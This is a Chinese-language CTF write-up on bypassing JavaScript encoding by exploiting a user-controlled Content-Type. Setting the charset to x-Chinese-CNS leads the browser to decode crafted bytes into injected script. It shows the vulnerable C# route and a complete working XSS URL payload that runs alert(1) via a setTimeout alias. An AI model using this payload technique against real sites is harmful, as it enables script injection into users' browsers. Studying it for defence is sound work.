题目实现了一个字符转换工具
在
/file
路由用户可以通过 ct 参数自定义 Content-Type
// 文件路由 - 提供静态文件服务(JS和CSS),支持内容类型验证
app.MapGet("/file", (string filename = "", string? ct = null, string? q = null) =>
{// 根据文件名查找对应的模板文件string? template = FindFile(filename);if (template is null){return Results.NotFound();}// 设置默认内容类型为纯文本ct ??= "text/plain";// 验证内容类型是否安全if (!IsValidContentType(ct)){return Results.BadRequest("Invalid Content-Type");}// 替换模板中的查询参数并返回处理后的内容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));return Results.Text(text, contentType: ct);
});
当 HTTP 响应头或 Content-Type 指定了 charset=x-Chinese-CNS,浏览器会用 CNS 11643 这个字符集来解码响应体的字节流。CNS 11643 是一种多字节编码,很多单字节(如常见的 ASCII 范围)在 CNS 11643 下会被解码为完全不同的字符,甚至是不可见字符或特殊符号。
简单来说:
-
攻击者不直接写入
<script>alert(1)</script>
。 -
而是计算:在目标字符集 CNS 11643 的编码规则下,哪些字节序列会被解码为
<script>alert(1)</script>
这些字符。 -
攻击者将计算出的这些特定字节序列写入响应体。
JavaScript 完全允许使用特殊字符(包括 Unicode 字符)作为变量名。这是 JavaScript 语言规范的一部分。(顺便说一句,大部分语言都支持)
// 第一部分:终止字符串并注入代码
asdaÃ'??Ã:alert // CNS 11643 解码后变为:'asda'; alert(1); //// 字节序列:E690B3 → '; C582C582E690A5 → alert(1);//// 第二部分:创建 setTimeout 的短别名
var µ=setTimeout // µ (U+00B5) 是合法变量名// CNS 11643 中的 E6838F 解码为 µ=// 第三部分:使用模板字符串执行 XSS
µ`alert\u0028\u0031\u0029\u002f\u002fÐ`
// 等价于:setTimeout('alert(1)//')
// \u0028 → ( \u0031 → 1 \u0029 → ) \u002f → /
// 模板字符串 `` 可替代函数调用括号// 第四部分:干扰性变量声明
var tag // 无实际作用,用于增加代码"合法性"// 第五部分:完成攻击链
µ`'; // CNS 11643 中的 E68EA4 解码为 µ` // 组合前文形成完整调用:setTimeout('alert(1)//')
/file?filename=script.js&ct=text/html;charset=x-Chinese-CNS&q=asda%E6%90%B3%C5%82%C5%82%E6%90%A5alert%0avar%20%E6%83%8FsetTimeout%0a%E6%8E%A4alert(1)//%E6%92%9F%0avar%20tag%0a%E6%8E%A4
此有效负载经过下面这段代码将截断原有代码
// 替换模板中的查询参数并返回处理后的内容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));